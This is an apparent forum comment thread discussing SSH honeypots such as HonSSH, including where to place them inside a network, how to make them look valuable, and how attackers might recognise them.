It might be more interesting to run a honeypot inside your infrastructure, to detect intrusions into your network.
The problem with honeypots is that they generally only attract very generic attacks, so they are only interesting for people who want to research the current attack landscape.
Targeted attacks only go for valuable resources, so you'd have to make your honeypot looks valuable.
So if you have an SSH honeypot inside your network, use 'git' or 'scm' or so as part of the hostname, and hope that people will think they can find source code there.
By putting a honeypot inside your network, you tune out the noise of generic, automated attacks. So you get a much higher signal/noise ratio.
On a similar note, at a previous job (.edu) we had an intrusion detection system that sat just inside the firewalls that only watched outbound traffic. Overall, we received much more valuable (read: actionable) data from it than the external monitoring systems.
Once upon a time, for the IT Security course, we decided to change SSH so that at any 3rd attempt it would allow an attacker in, stopped allowing other attackers in, and at the same time that we tried to have a kernel module that intercepted ICMP Echo's and gave the SSH session keys in it's reply (inspired on something similar on Phrack).
We managed to get close to that, but we didn't get the session keys part :(
I ran an SSH honeypot and every connection showed me something interesting; username/pass, shell commands, source host, whether it was automated or being typed by someone, which hosts they used for file downloads. This was maybe 10 years ago though... the internet seems to be much more serious and less curious nowadays.
Disclaimer: I am a wanna-be security hobbiest, at best.
that's intresting, but i would probably put this honeypot on a cheap DigitalOcean instance or anywhere far from production/test enviroment (would be intresting if this is part of the tutorial, such as redirect to another ip onece successfully logged in in the ssh, don't know if it's possible).
Beacuse life thought me to never think that you are smarter than others.
> It is likely with these tell-tale signs and strange configuration not many hackers will stumble across the host, and if they do they’ll probably quit our right away.
This got me thinking about setting all my hostnames to "honeypot" and randomly printing fake HonSSH logs in all SSH connections.
Not sure if this is a good idea or not, security by obscurity never really fools anyone in my opinion... Anyway I think that the HonSSH logs are not visible to the attacker, they are on the man in the middle node so hence the hacker doesn't get to see them, for the most part it looks very very similar to a legitimate SSH connection.
I'd agree this probably isn't a great idea,
-- it may attract unnecessary attention which would have not already been there.
If an attack is automated (where it may not consider the hostname at all) it will have no effect.
If it is a targeted attack, the attacker will most likely be well versed in the behaviour of default honeypots. As such if you're machine behaves differently (as it almost always will) the attacker will not be deterred. One example of this includes response time of a failed SSH login -- a HP might reply sub-seconds faster than a real system (especially true in industrial environments).
The problem with honeypots is that they generally only attract very generic attacks, so they are only interesting for people who want to research the current attack landscape.
Targeted attacks only go for valuable resources, so you'd have to make your honeypot looks valuable.
So if you have an SSH honeypot inside your network, use 'git' or 'scm' or so as part of the hostname, and hope that people will think they can find source code there.
By putting a honeypot inside your network, you tune out the noise of generic, automated attacks. So you get a much higher signal/noise ratio.